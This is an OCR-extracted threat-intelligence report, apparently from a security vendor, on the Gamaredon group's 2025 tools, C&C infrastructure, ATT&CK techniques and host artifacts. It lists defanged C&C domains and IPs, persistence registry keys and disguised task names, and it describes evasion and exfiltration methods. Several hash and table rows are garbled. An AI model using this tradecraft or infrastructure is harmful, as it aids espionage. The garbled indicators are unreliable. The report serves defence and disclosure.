PteroGram uses an HTTP POST request with the URI path /tea to exfiltrate Telegram Desktop files in a ZIP
archive.
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NETWORK INFRASTRUCTURE

Tunnel and worker services

In 2025, Gamaredon continued with a trend set in the previous year: hiding C&C servers behind tunnel
services, and using dead-drop resolvers to retrieve C&C servers. By the end of 2024, most Gamaredon tools
were primarily connecting to their C&C servers via Cloudflare tunnels (trycloudflare.com). It became
standard and remained like that until May 2025, when Gamaredon started using Cloudflare workers
(workers.dev). The main difference between them is that tunnels only relay the network traffic, while
workers allow running code that can process requests, without managing infrastructure. The next month,
Gamaredon also started leveraging additional tunnel services, which are provided by Microsoft
(devtunnels.ms) and Loophole (loophole.site). Using these four services — Cloudflare tunnels, Cloudflare
workers, Microsoft devtunnels, and Loophole — has become a new standard for the tools in Gamaredon'’s
arsenal. While each Cloudflare worker is mainly used as a single C&C server in tools that are deployed in
later stages of a compromise, the three tunnel services (trycloudflare.com, devtunnels.ms, and
loophole.site) are very often used together: one of the tunnels as a primary communication method and
other two as fallbacks. Note that we have seen them being used in various orders, suggesting no clear
preference for any single service.

Additionally, we also observed Gamaredon experimenting with other tunnel services, such as loca.1lt and
bore.pub, but we found them in only a few malware samples, suggesting these were merely tested and
not adopted for regular use.

Dead-drop services

Regarding dead-drop resolvers, Gamaredon continued using previously observed services, such as
Telegram channels (via t.me; Telegram'’s official URL shortener service), and posts on the Telegra.ph

also started abusing many other services for this purpose. Newly observed dead-drop services include
Rentry (rentry.co) and Write.as (write.as), as well as social networks DEV (dev.to) and Mastodon
Compared to 2024, there was a shift in how these dead-drop resolvers were used. Rather than serving
C&C IP addresses, Gamaredon employed these resolvers to provide C&C servers hidden behind the tunnels
and workers mentioned earlier.

Interestingly, Gamaredon used some other dead-drop services for a different purpose - payload
distribution. In particular, the services lesma (lesma.eu), nopaste.net (nopaste.net), and Paste.ee
(pastee.dev) have been used by the PteroPSDoor and PteroVDoor downloaders to acquire their encoded,
encrypted payloads.

Dynamic DNS services

2021, it gradually stopped using DDNS, and moved to primarily using its own registered domains.

Therefore, it comes as a surprise to see that in 2025, Gamaredon has returned to old, tried-and-true TTPs.
Gamaredon employed DDNS C&C servers across various tools, but the most notable increase in utilization
was in malicious HTA downloaders delivered via spearphishing campaigns. Throughout 2025, Gamaredon

e hopto.org e servehttp.com
e ddns.net e servebeer.com
e gotdns.ch e serveirc.com
e myddns.me e serveftp.com
e freedynamicdns.org e sytes.net

e freedynamicdns.net e webhop.me

e redirectme.net e zapto.org

e ddnsking.com e 3utilities.com


https://web-assets.esetstatic.com/wls/en/papers/white-papers/gamaredon-in-2024.pdf
https://gofile.io/home
https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/
https://www.noip.com/
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Registered domains and fast flux DNS

In 2025, we identified 189 domains registered and used by Gamaredon, a number similar to what we
observed the previous year. The majority of these domains had the . ru top-level domain (TLD) and a small
number had the .online TLD. Gamaredon operators still partially relied on a combination of such domains
Our observations suggest that hardcoded domains are mainly used as fallback communication methods,
while dead-drop resolvers and tunnel/worker services are preferred as the primary communication
channels.

When Gamaredon tools use hardcoded C&C domains for communication, they usually explicitly resolve
them to IP addresses via the default system DNS server, third-party DNS-over-HTTPS services, or third-
party web DNS resolvers. However, in some cases, tools use these domains directly as function arguments,
which results in an implicit resolution using the default system DNS server. The difference between using
explicit and implicit resolution of C&C domains we want to highlight in this particular case is in the
contents of an HTTP request’s Host header. When Gamaredon explicitly resolves a C&C IP address and
uses that for connecting to its C&C server, the Host header will contain this IP address. However, if a C&C
IP address is resolved implicitly, the Host header will contain the C&C domain from which the IP address
has been resolved.

Web DNS resolvers and DoH services

In 2025, we noticed a significant decline in the usage of web DNS resolvers. In previous years, Gamaredon
tried many different services and changed them quite frequently, but in 2025 it used such services only in a
few tools and stuck to these two: check-host.net and whatsmydns.net. While we have already seen the
former, the latter was probably used for the first time in 2025. Regarding DNS-over-HTTPS services, we
observed Gamaredon only using Cloudflare’s service, accessed either via the IP address 1.1.1.1 or the
domain cloudflare-dns.com.

Cloud storage services

Near the end of 2024, Gamaredon introduced PteroBox, the first of its tools to leverage cloud storage for
file exfiltration. Throughout 2025, Gamaredon continued to use PteroBox to upload files to Dropbox and
extended this approach by upgrading its other two file stealers to also support exfiltration to cloud
storage. The instances of PterovVDoor and PteroPSDoor we analyzed could exfiltrate files to three different

Paas providers

In several spearphishing campaigns, Gamaredon abused cloud environments offered by two distinct
primarily intended for developers to build and deploy applications without the need to handle underlying
infrastructure, but for Gamaredon operators, it seems to be a convenient way to run short-lived
spearphishing campaigns. Based on this observation, we expect that Gamaredon may continue to seek
similar opportunities in the future.

CONCLUSION

Gamaredon continues focusing its cyberespionage activities exclusively on Ukraine, and nothing suggests
that this will change anytime soon.

Regarding tooling, Gamaredon strictly stuck to using a combination of the VBScript and PowerShell
scripting languages. Even though Gamaredon introduced six new tools in 2025, five of them are quite
primitive downloaders, and only one tool we consider to be more complex. We discovered the majority of
these new additions to Gamaredon's arsenal during a short period in the first half of the year, shortly
before we uncovered the collaboration with Turla. Two of the new tools were even directly involved in
deploying Turla's payloads; therefore, we can speculate that the new tools that we discovered could have
been developed in preparation for this collaboration.


https://attack.mitre.org/techniques/T1568/001/
https://wasabi.com/
https://tebi.io/
https://intercolo.de/en/object-storage
https://www.clever.cloud/
https://supabase.com/
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After a break in January 2025, Gamaredon resumed running frequent spearphishing campaigns, with
notably higher activity in the second half of the year, during which Gamaredon also slightly tweaked its
TTPs, and started exploiting a vulnerability affecting WinRAR (CVE-2025-8088) to deploy its typical
malicious HTA downloaders.

Lastly, Gamaredon continued with its efforts to protect and hide its network infrastructure, relying more
on free tiers of various third-party services like tunnels, workers, and dead drops, but also experimenting
with abusing Paas services. Also, files exfiltrated by Gamaredon tools are now almost exclusively uploaded
to cloud storage, probably to offload the handling of underlying infrastructure needed for the inflow of

large volumes of data.

10CS

Files

In this section, we only provide one example for each tool or variant.

SHA-1 Filename  Detection Description
i;g?jzzgiggigzgizgg N/A PowerShell/Pterodo.SV PteroBox rclone variant.
;ggg:?gigg;i;?;izgzi N/A PowerShell/Pterodo.WY PteroBox API variant.
OIS WA weseodocor  Cerocide dounoas
;gigiiﬁgggggizézgsgg N/A PowerShell/Pterodo.VP E;(\a/:gaDdusr.n - downloads VBScript
iy WA Powssnalpadoue  ToSBY ~douriests ouersel
EOSUMTISG wa espwomoces Lo stens v o e
ey A Powshalodopc [N vern of e
srerssmoccrasiomoney N/A  VBS/PterodoCLR 2 nemwork crive weaponizer.
SRS WA vesmeodecuk B of N use
42DB9DE2017F66ED3AFS PreroOdd - downloa(js a4
8E7B1094891627B3C706 N/A PowerShell/Pterodo.QB PowerShell payload via the
Telegra.ph API.
FOASELIERAGAFLLBE/38 N/A PowerShell/Pterodo.WO PteroPSDoor version 1000.

0141C1E1888F433B5342
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SHA-1 Filename  Detection Description
LIS A OSRTORONI  pounioaer o rropsooor
NSNS WA pouershelleodoan  Hrorsoad - Pomershe
LA WA powershalprerodosy  HroraLend - Powersl
ORI WA PowerhellPrerodoy  SrORe - dounonceran Use
igg:gg;;g;gjizzzzgm N/A VBS/Pterodo.CEB PteroScout PowerShell version.
;giggggizgggggzégéiw N/A VBS/Pterodo.CNQ PteroScout VBScript version.
OIS WA rouershapirodaw POl o of erostst
;2;;2;332222?;;2;% N/A VBS/Pterodo.CME PteroVDoor version 2000.
;iggigg;;:gigg;;m N/A VBS/Pterodo.CMX Downloader of PteroVDoor.
7976F1E6BO79008E56AE3 N/A VBS/Pterodo.BOU PteroX - VBScript general-purpose
5F1AFC6336D12CBA8E1 downloader.

Network

The network loCs provided here are only the C&C servers extracted from selected samples, provided as
examples and not an exhaustive list of all C&C servers that we have encountered in 2025. The complete

IP Domain HOSt.mg First seen Details
provider

N/A wipeeya. 1ENores. wor 2025-11-20  Gamaredon C&C server.
kers[.]dev

N/A szrtrboyre. fewnef.w 4 2025-12-29  Gamaredon C&C server.
orkers[.]dev

N/A sriake. 37a2edddwork ) 2025-08-11  Gamaredon C&C server.
ers[.]dev

N/A d16s565n-80. euw. N/A 2025-08-11  Gamaredon C&C server.

devtunnels[.]ms


https://www.eset.com/int/business/services/threat-intelligence/
https://www.eset.com/int/business/services/threat-intelligence/
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IP Domain HOSt.mg First seen Details
provider

ser-uk-defines-

N/A involved.trycloudfl N/A 2025-08-11  Gamaredon C&C server.
are[.]com
8b82933574e0112129f

N/A 7062a41689f7a.looph  N/A 2025-08-11  Gamaredon C&C server.
ole[.]site

N/A litanq[.]ru N/A 2025-03-13  Gamaredon C&C server.

N/A estacal.]ru N/A 2026-01-01 Gamaredon C&C server.

N/A earlysilence[.]ru N/A 2026-01-01 Gamaredon C&C server.

N/A Jvyuwatt.ssuworker. 2025-12-29  Gamaredon C&C server.
workers[.]dev

N/A zalupka[. ]net N/A 2025-12-29  Gamaredon C&C server.

N/A ‘]’izyl”appmp”ate[ " N/A 2026-01-01 Gamaredon C&C server.
cheese-metals-

N/A gourmet-interviews. N/A 2026-01-01 Gamaredon C&C server.
trycloudflare[.]com

N/A stake.ytnrjg3ze3.wo - \a 2026-01-01  Gamaredon C&C server.
rkers[.]dev

N/A holdmyspice[.]ru N/A 2025-03-23 Gamaredon C&C server.
ch47fegl-

N/A 80.euw.devtunnels]. N/A 2025-12-30  Gamaredon C&C server.
Ims
parameter-iron-turn

N/A s-combinations. N/A 2025-12-30  Gamaredon C&C server.
trycloudflare[.]com

N/A maybefallout[.]ru N/A 2025-12-30  Gamaredon C&C server.

N/A :Zybe‘call°”t[ Jonli /A 2025-12-30  Gamaredon C&C server.
alfred-assumptions-

N/A asin-winston.try N/A 2025-02-18  Gamaredon C&C server.
cloudflare[.]com
your-combination-

N/A percent-gibson.try N/A 2025-12-31 Gamaredon C&C server.

cloudflare[.]com
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IP Domain HOSt.mg First seen Details
provider

N/A /tnzsgpa-80.use.dev. .\ 2025-12-31  Gamaredon C&C server.
tunnels[. ]ms
x3f2qlcd-

N/A 80.asse.devtunnels[ N/A 2025-12-29  Gamaredon C&C server.
. ]ms
innocent-fares-

N/A supposed- N/A 2025-12-29  Gamaredon C&C server.
loved.trycloud
flare[.]com

N/A x8b9b7q2-80. euw. N/A 2025-12-23  Gamaredon C&C server.
devtunnels[.]ms
99a23d4d4fec9ca8e8b

N/A ac7d30a02442d.looph  N/A 2025-12-23  Gamaredon C&C server.
ole[.]site
graph-proved-physic

N/A ians-ward.trycloud N/A 2025-12-23  Gamaredon C&C server.
flare[.]com

N/A lettinggo[.]ru N/A 2025-12-30  Gamaredon C&C server.
finally-election-

N/A audience-dont.try N/A 2025-12-30  Gamaredon C&C server.
cloudflare[.]com

N/A 42731ud6-80. eun. N/A 2025-12-30  Gamaredon C&C server.
devtunnels[.]ms

N/A wage.zpwyl7l185.Wor \/p 2025-12-30  Gamaredon C&C server.
kers[.]dev

N/A dushun[.]ru N/A 2025-03-03 Gamaredon C&C server.

69.67.173[.]214 N/A BL Networks 2026-01-01 Gamaredon C&C server.

RouterHostin
167.88.164[.]202  NJ/A LLC” HOStNE  5025-03-03  Gamaredon C&C server.
172.235.166[.]243 NJ/A Linode 2025-03-23 Gamaredon C&C server.
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MITRE ATT&CK TECHNIQUES

Tactic ID Name Description
T1583.001 Acquw.e Infrastructure:  Gamaredon registers domains for its C&C
Domains servers.
Acquire Infrastructure: ~ Gamaredon rents servers for its C&C
T1583.003 . . .
Virtual Private Server infrastructure.
Acquire Infrastructure: ~ Gamaredon hides its C&C infrastructure
T1583.007 .
Serverless behind Cloudflare workers.
Resource Develop Capabilities: ~ Gamaredon develops it t
Development T1587.001 evelop Capabilities: amaredon develops its own custom
Malware malware.
. e Gamaredon weaponizes the RCE
T1588.006 Obtain Capabilities: vulnerability CVE-2025-8088 for initial
Vulnerabilities
access.
Stage Capabilities: Gamaredon staged Tor on the Filemail file-
11608.002 5 P ' hosting service, and rclone on its own C&C
Upload Tool
servers.
Phishing: I .
_ Gamaredon sends spearphishing emails
T1566.001 Spearphishing . . pearp &
with malicious attachments.
. Attachment
Initial Access
T1566.002 Phlshlng: . . Ga.lmared.o.n sean spearphishing emails
Spearphishing Link with malicious links.
Cor.””.“a”d and Gamaredon uses PowerShell to execute
T1059.001 Scripting Interpreter: avioads
PowerShell pay '
Command and
Scripting Interpreter: Gamaredon uses the Windows Command
11059.003 .
Windows Command Shell to execute payloads.
Shell
Execution Command and .
A Gamaredon uses VBScript to execute
T1059.005 Scripting Interpreter: avioads
Visual Basic pay '
@ d and . )
Om”.“a” an PteroLNK drops malicious LNK files that
T1052.007 Scripting Interpreter: use Javascript to execute payloads
Javascript/JScript P pay '
1203 Exploitation for Client Gamaredon exploits the RCE vulnerability

Execution

CVE-2025-8088 for execution.


https://attack.mitre.org/resources/versions/
https://attack.mitre.org/versions/v19/techniques/T1583/001
https://attack.mitre.org/versions/v19/techniques/T1583/003
https://attack.mitre.org/versions/v19/techniques/T1583/007
https://attack.mitre.org/versions/v19/techniques/T1587/001
https://attack.mitre.org/versions/v19/techniques/T1588/006
https://attack.mitre.org/versions/v19/techniques/T1608/002
https://attack.mitre.org/versions/v19/techniques/T1566/001
https://attack.mitre.org/versions/v19/techniques/T1566/002
https://attack.mitre.org/versions/v19/techniques/T1059/001
https://attack.mitre.org/versions/v19/techniques/T1059/003
https://attack.mitre.org/versions/v19/techniques/T1059/005
https://attack.mitre.org/versions/v19/techniques/T1059/007
https://attack.mitre.org/versions/v19/techniques/T1203
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Name

Description

Inter-Process
Communication:
Component Object
Model

Various Gamaredon tools use the COM
object
MSScriptControl.ScriptControl.1to
execute VBScript payloads.

Scheduled Task/)ob:
Scheduled Task

User Execution:
Malicious Link

Gamaredon uses scheduled tasks to
execute payloads.

Gamaredon uses LNK files for lateral
movement.

User Execution:
Malicious File

Windows Management

Instrumentation

Gamaredon uses HTA files in its
spearphishing campaigns.

Various Gamaredon tools use WMI to
enumerate connected drives or to resolve
C&C IP addresses by pinging C&C domains.

Persistence

Boot or Logon
Autostart Execution:
Registry Run Keys /
Startup Folder

Boot or Logon
Autostart Execution:
Shortcut Modification

Various Gamaredon tools use the HKCU
Run or RunOnce key, or the Startup folder
for persistence.

PteroBox creates a LNK file in the Startup
folder to ensure persistence.

Boot or Logon
Initialization Scripts:
Logon Script
(Windows)

Scheduled Task/)ob:
Scheduled Task

PteroPaste and PteroPSLoad achieve
persistence by setting the
UserInitMprLogonScript registry value.

Various Gamaredon tools create scheduled
tasks for persistence.

BITS Jobs

Deobfuscate/Decode
Files or Information

PteroPSDoor downloads Tor using BITS.

Various Gamaredon tools use base64 to
decode downloaded payloads.

Execution Guardrails:
Environmental Keying

Execution Guardrails:
Mutual Exclusion

Various Gamaredon tools use the volume
serial number from a compromised system
as an XOR key for payloads.

Various Gamaredon tools create mutexes
to prevent duplicate execution.

Hide Artifacts: Hidden
Files and Directories

Various Gamaredon tools create hidden
files.


https://attack.mitre.org/versions/v19/techniques/T1559/001
https://attack.mitre.org/versions/v19/techniques/T1053/005
https://attack.mitre.org/versions/v19/techniques/T1204/001
https://attack.mitre.org/versions/v19/techniques/T1204/002
https://attack.mitre.org/versions/v19/techniques/T1047
https://attack.mitre.org/versions/v19/techniques/T1547/001
https://attack.mitre.org/versions/v19/techniques/T1547/009
https://attack.mitre.org/versions/v19/techniques/T1037/001
https://attack.mitre.org/versions/v19/techniques/T1053/005
https://attack.mitre.org/versions/v19/techniques/T1197
https://attack.mitre.org/versions/v19/techniques/T1140
https://attack.mitre.org/versions/v19/techniques/T1480/001
https://attack.mitre.org/versions/v19/techniques/T1480/002
https://attack.mitre.org/versions/v19/techniques/T1564/001
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Tactic ID Name Description
. . . Various Gamaredon tools spawn
Hide Artifacts: Hidd . .
T1564.003 '. € AArtitacts. maden PowerShell processes with hidden
Window .
windows.
. . ) Various Gamaredon tools use alternate
T1564.004 H.|de Art.lfacts. NTFS data streams to hide themselves and their
File Attributes
C&C servers.
Indicator Removal: File PteroBox, PteroPSDoor, and PteroVDoor
11070.004 ) ' delete staged files after successful
Deletion ) .
exfiltration.
Masquerading: .
T1036.003 Rename Legitimate PteroBox.downIoads the rclone utility
e under a different name.
Utilities
Masquerading: Various Gamaredon tools create scheduled
T1036.004 Masquerade Task or . . .
. tasks with benign-looking names.
Service
Ma;queradlng: Match PteroLNK tries to mimic legitimate
T1036.005 Legitimate Name or : . o
. locations when installing itself.
Location
Masquerading: Double PteroLNK creates files with so-called
T1036.007 . q . & double extensions, such as .docx.1nk and
File Extension .
.jpeg.1lnk.
Masquerading: Various Gamaredon tools store VBScript
T1036.008 d & payloads in files with randomized
Masquerade File Type .
extensions.
Obfuscated Files or L
T1027.006 Information: HTML GamarerQ uses HTML smuggling in its
. spearphishing campaigns.
Smuggling
Obfuscated Files or .
T1027.009 Information: Vaarllc;L;ZSGamaredon tools drop embedded
Embedded Payloads pay '
Obfuscat.ed Files or Gamaredon uses base64 to encode
11027.010 Information:
. PowerShell commands.
Command Obfuscation
Obfuscated Files or . .
T1027.011 Information: Filelass Various Gamaredon too.ls install
themselves into the registry.
Storage
Obfuscated Files or
T1027.013 Information: Gamaredon encodes and encrypts its
Encrypted/Encoded payloads.

File


https://attack.mitre.org/versions/v19/techniques/T1564/003
https://attack.mitre.org/versions/v19/techniques/T1564/004
https://attack.mitre.org/versions/v19/techniques/T1070/004
https://attack.mitre.org/versions/v19/techniques/T1036/003
https://attack.mitre.org/versions/v19/techniques/T1036/004
https://attack.mitre.org/versions/v19/techniques/T1036/005
https://attack.mitre.org/versions/v19/techniques/T1036/007
https://attack.mitre.org/versions/v19/techniques/T1036/008
https://attack.mitre.org/versions/v19/techniques/T1027/006
https://attack.mitre.org/versions/v19/techniques/T1027/009
https://attack.mitre.org/versions/v19/techniques/T1027/010
https://attack.mitre.org/versions/v19/techniques/T1027/011
https://attack.mitre.org/versions/v19/techniques/T1027/013
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Tactic ID Name Description

Obtusated s or TR 1 TS
T1027.015 Information: paigns, bzip P '

""""""" . and HTA files packed in ZIP and RAR
Compression .
archives.

Obfuscated Files or . . . .
Gamaredon inserts junk code into its

T1027.016 Information: Junk Code .
. malicious tools.

Insertion

Social Engineering: Gamaredon sends spearphishing emails
T1684.001 & . & impersonating Ukrainian governmental

Impersonation o

entities.

T1684.002 Social Engineering: Gamaredon spoofs senders’ email
"""" Email Spoofing addresses in its spearphishing campaigns.
T1218.005 Signed Binary Proxy Gamaredon uses mshta.exe to execute
T Execution: Mshta HTA files.

Signed Binary Proxy LNK files created by PteroLNK use
T1218.011 .

Execution: Rundll32 rundl132.exe to execute payloads.

PteroLNK modifies specific registry values

Defense 2 Modify Registry to disable showing hidden files in
Impairment .
Windows Explorer.
Credentials from
Credential Password Stores: PteroSteal gathers and exfiltrates
T1555.003 . . .
Access Credentials from Web credentials stored by various browsers.
Browsers
File and Director PteroBox, PteroPaste, PteroPSDoor, and
T1083 . v PteroVDoor search for files with specific
Discovery . .
file extensions.
T1057 Process Discovery PteroScout enumerates running processes.
Discovery .
Software Discovery: PteroScout enumerates installed securit
T1518.001 Security Software v
. software.
Discovery
11082 System Information PteroScout exfiltrates the output of the
"""" Discovery systeminfo command.
Replication Through PteroLNK and PteroPaste can move
11091 : . . .
Removable Media laterally via weaponized USB drives.
Lateral
Movement To move laterally, PteroLNK creates on
T1080 Taint Shared Content network drives malicious LNK files that are

disguised as existing directories.


https://attack.mitre.org/versions/v19/techniques/T1027/015
https://attack.mitre.org/versions/v19/techniques/T1027/016
https://attack.mitre.org/versions/v19/techniques/T1684/001
https://attack.mitre.org/versions/v19/techniques/T1684/002
https://attack.mitre.org/versions/v19/techniques/T1218/005
https://attack.mitre.org/versions/v19/techniques/T1218/011
https://attack.mitre.org/versions/v19/techniques/T1112
https://attack.mitre.org/versions/v19/techniques/T1555/003
https://attack.mitre.org/versions/v19/techniques/T1083
https://attack.mitre.org/versions/v19/techniques/T1057
https://attack.mitre.org/versions/v19/techniques/T1518/001
https://attack.mitre.org/versions/v19/techniques/T1082
https://attack.mitre.org/versions/v19/techniques/T1091
https://attack.mitre.org/versions/v19/techniques/T1080
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Tactic ID Name Description
Archive Collected Data: PteroGram packs files into a ZIP archive
11560.002 . . . . .
Archive via Library prior to exfiltration.
PteroBox, PteroPSDoor, and PteroVDoor
Tm9 Automated Collection periodically search for files with specific
file extensions.
PteroBox, PteroPSDoor, and PteroVDoor
Data from Local ) ) . o .
T1005 exfiltrate files with specific file extensions
System .
from local drives.
. PteroBox, PteroPSDoor, and PterovVDoor
Collection Data from Network ) ) . o .
T1039 ) exfiltrate files with specific file extensions
Shared Drive .
from mapped network drives.
PteroBox, PteroPSDoor, and PteroVDoor
Data from Removable : ) . L .
T1025 Media exfiltrate files with specific file extensions
from connected USB drives.
Data Staged: Local PteroBox, PteroPSDoor, and PteroVDoor
11074.001 . : . i .
Data Staging stage files prior to exfiltration.
3 Screen Capture PteroScreen captures and exfiltrates
screenshots.
Application Layer
T1071.001 Protocol: Web Gamared.on gses HTTP and HTTPS for C&C
communication.
Protocols
Data Encoding: Various Gamaredon tools use base64 to
T1132.001 . . . .
Standard Encoding encode data prior to exfiltration.
T1568.001 Dynamic Resolution: Gamaredon can use fast flux DNS for its
"""" Fast Flux DNS C&C infrastructure.
E ted Ch l:
neryp e. Channe Gamaredon uses XOR and 3DES to encrypt
T1573.001 Symmetric
Command and Crvptozraph payloads.
Control yptography
Encrypted Channel: Gamaredon uses RSA to encrypt FQDNs of
T1573.002 Asymmetric C&C servers that are then staged on dead-
Cryptography drop services.
Various Gamaredon tools use multiple
T1008 Fallback Channels fallback methods for communication with
C&C servers.
Gamaredon uses various tunnel and
T1665 Hide Infrastructure worker services to hide its C&C

infrastructure.


https://attack.mitre.org/versions/v19/techniques/T1560/002
https://attack.mitre.org/versions/v19/techniques/T1119
https://attack.mitre.org/versions/v19/techniques/T1005
https://attack.mitre.org/versions/v19/techniques/T1039
https://attack.mitre.org/versions/v19/techniques/T1025
https://attack.mitre.org/versions/v19/techniques/T1074/001
https://attack.mitre.org/versions/v19/techniques/T1113
https://attack.mitre.org/versions/v19/techniques/T1071/001
https://attack.mitre.org/versions/v19/techniques/T1132/001
https://attack.mitre.org/versions/v19/techniques/T1568/001
https://attack.mitre.org/versions/v19/techniques/T1573/001
https://attack.mitre.org/versions/v19/techniques/T1573/002
https://attack.mitre.org/versions/v19/techniques/T1008
https://attack.mitre.org/versions/v19/techniques/T1665
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Tactic ID Name Description

Various Gamaredon tools can download

T1105 | Tool Transf, -
ngress Tool franster additional payloads.

Non-Application Layer ~ PteroPShell uses TCP for C&C

11095 o
Protocol communication.
1571 Non-Standard Port PteroPSheII usgs nonstandard ports for
connecting to its C&C server.
. Various Gamaredon tools use DoH to
T1o72 Protocol Tunneling resolve C&C IP addresses.
1090 Proxy PteroSocks serves as a reverse SOCKS
proxy server.
Various Gamaredon tools can retrieve C&C
T1102.001 Web Service: Dead servers from third-party services, such as
"""" Drop Resolver telegram.me, Telegra.ph, Teletype, Rentry,
and Write.as.
T1102.003 Web Service: One-Way PteroGraphin and PteroPaste receive
"""" Communication payloads via dead-drop services.
1020 Automated Exfiltration Pte'roB'ox, PterqPSDoor, and P.teroVDoor
periodically exfiltrate staged files.
) . Various Gamaredon tools exfiltrate files or
Exfiltration Over C2 . .
. . T1041 gathered information over the C&C
Exfiltration Channel

channel.

Exfiltration Over Web Gamaredon file stealers exfiltrate files to
T1567.002 Service: Exfiltration to  various cloud storage services, such as
Cloud Storage Dropbox, Wasabi, Tebi, and Intercolo.


https://attack.mitre.org/versions/v19/techniques/T1105
https://attack.mitre.org/versions/v19/techniques/T1095
https://attack.mitre.org/versions/v19/techniques/T1571
https://attack.mitre.org/versions/v19/techniques/T1572
https://attack.mitre.org/versions/v19/techniques/T1090
https://attack.mitre.org/versions/v19/techniques/T1102/001
https://attack.mitre.org/versions/v19/techniques/T1102/003
https://attack.mitre.org/versions/v19/techniques/T1020
https://attack.mitre.org/versions/v19/techniques/T1041
https://attack.mitre.org/versions/v19/techniques/T1567/002
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APPENDIX A: HOST-BASED ARTIFACTS ASSOCIATED WITH
PTEROPASTE

Name Value
HKCU\EUDC\first
HKCU\EUDC\knok
Installation paths
HKCU\EUDC\runner
HKCU\EUDC\usb

Configuration paths HKCU\EUDC\privateKeyXml

.1nk

%PROCESSOR_REVISION%

Filenames %PROCESSOR_REVISION%.ps1

volumeinfo.psl

test.psl

Mutexes Local\[0-9]{4}(0[1-9]|1[1-2])

Scheduled task

%PROCESSOR_IDENTIFIER%
names -

Scheduled task

o %PROCESSOR_IDENTIFIER%
descriptions -

APPENDIX B: HOST-BASED ARTIFACTS ASSOCIATED WITH
PTEROSETUP

Name Value

%TEMP%\install.vbs

%TEMP%\config.txt

%TEMP%\7za.exe

Temporary files %TEMP%\7za.d1l

%TEMP%\7z.sfx

%TEMP%\archive.7z

%TEMP%\start.exe
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Name Value

%TEMP%\1.exe

APPENDIX C: HOST-BASED ARTIFACTS ASSOCIATED WITH THE
SECOND VARIANT OF THE PTEROLNK VBSCRIPT VERSION

Name Value

%PUBLIC%\NTUSER.DAT.TMContainer00000000000000000001.regtrans-ms

%PUBLIC%\NTUSER.DAT.TMContainer00000000000000000002.regtrans-ms

%PUBLIC%\ntuser.ini:SRV

%PUBLIC%\ntuser.ini:LNK

%USERPROFILE%\boot.ini:SRV

%USERPROFILE%\boot.ini:LNK

%USERPROFILE%\boot.ini:GTR

%USERPROFILE%\boot.ini:SERVER

%USERPROFILE%\boot.ini:URLS

%USERPROFILE%\boot.ini:IPS
Installation paths

%PUBLIC%\ntuser.dat.LOG1

%PUBLIC%\ntuser.dat.L0G2

%USERPROFILE%:SERVER

%USERPROFILE%: LNK

%USERPROFILE%:GTR

%USERPROFILE%:URL

%USERPROFILE%\boot.ini

%USERPROFILE%\NTUSER.DAT1.LOG

%USERPROFILE%\NTUSER.DAT2.LOG

%USERPROFILE%\NTUSER.DAT3.LOG

%USERPROFILE%\boot.ini:IpURL
Configuration paths
%USERPROFILE%\boot.ini:CloudURL
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Name

Value

%USERPROFILE%\boot.ini:URLTeletype

%USERPROFILE%\boot.ini:WindowsDetect

%USERPROFILE%\boot.ini:URLTelegra

%USERPROFILE%\boot.ini:WindowsTelegra

%USERPROFILE%\boot.ini:URL

%USERPROFILE%\boot.ini:IP

HKCU\Console\URL

HKCU\Console\IP

Registry values

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\DXGIAdapterCache

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\DirectXDatabaseUpda
ter

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft-Windows-
DiskDiagnosticResolver

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\RecommendedTroubles
hootingScanner

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ScanForUpdatesAsUse
r

HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\ExploitGuard

Scheduled task
names

Windows\DeviceDirectoryClient\RegisterDeviceConnectedToNetwork

Windows\DeviceDirectoryClient\RegisterUserDevice

Windows\DirectX\DXGIAdapterCache

Windows\DirectX\DirectXDatabaseUpdater

Windows\DiskDiagnostic\Microsoft-Windows-DiskDiagnosticResolver

Windows\Software\Microsoft\TroubleshootingScanner\RecommendedTroublesh
ootingScanner

Windows\InstallService\ScanForUpdatesAsUser

DiskDiagnostic\Microsoft\Windows\DiskDiagnosticDataCollector

CertificateServicesClient\SystemTask\SilentCleanup

InstallService\ScanForUpdatesServer\SmartRetry
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APPENDIX D: HOST-BASED ARTIFACTS ASSOCIATED WITH THE
THIRD VARIANT OF THE PTEROLNK VBSCRIPT VERSION

Name

Value

Installation paths

%APPDATA%\{WindowsPowerShell |Windows |VirtualStore|MSBuild|cache|Micros
oft|Internet|Microsoft.NET|Defender|CrashDumps}\desktops.ini

%APPDATA%\{WindowsPowerShell |Windows |VirtualStore|MSBuild|cache|Micros
oft|Internet|Microsoft.NET|Defender|CrashDumps}\desktop.dat

%APPDATA%\{Logs |WinRAR|addins|OneDrive|CrashDumps|Microsoft|Explorer|I
nternet|Windows|Microsoft_Corporation|MSBuild|VirtualStore|DiagTrack]|P
erformance|ConnectedDevicesPlatform|WindowsPowerShell|Microsoft.NET}\d
esktops.vbs

%APPDATA%\{Logs |WinRAR|addins|OneDrive|CrashDumps|Microsoft|Explorer|I
nternet|Windows|Microsoft_Corporation|MSBuild|VirtualStore|DiagTrack]|P
erformance|ConnectedDevicesPlatform|WindowsPowerShell |Microsoft.NET}\d
esktop.vbs

%APPDATA%\{Explorer|Microsoft_Corporation|Defender|Microsoft|Internet]|
VirtualStore|WindowsPowerShell |MSBuild|WinRAR|Windows |Microsoft.NET}\d
esktops.sys

%APPDATA%\{Explorer|Microsoft_Corporation|Defender|Microsoft|Internet]|
VirtualStore|WindowsPowerShell |MSBuild |WinRAR|Windows |Microsoft.NET}\d
esktop.sys

%APPDATA%\ConnectedDevicesPlatform\desktop.sys

%APPDATA%\ConnectedDevicesPlatform\desktop.con

%APPDATA%\{Logs |Windows |ConnectedDevicesPlatform|cache|MSBuild|Defende
r|addins|WindowsPowerShell|Explorer|Media|Microsoft_Corporation|Micros
oft}\desktop.in

%APPDATA%\{Logs |Windows |ConnectedDevicesPlatform|cache|MSBuild|Defende
r|addins|WindowsPowerShell|Explorer|Media|Microsoft_Corporation|Micros
oft}\desktop.co

%APPDATA%\{Explorer|DiagTrack|MSBuild}\desktop.in

%APPDATA%\{Explorer|DiagTrack|MSBuild}\desktop.ko

%APPDATA%\{Logs|OneDrive|Microsoft_Corporation}\index.xml

%APPDATA%\{Logs|OneDrive|Microsoft_Corporation}\index.htm

Configuration paths

%APPDATA%\Microsoft.NET\desktop.ini:[a-zA-Z]+

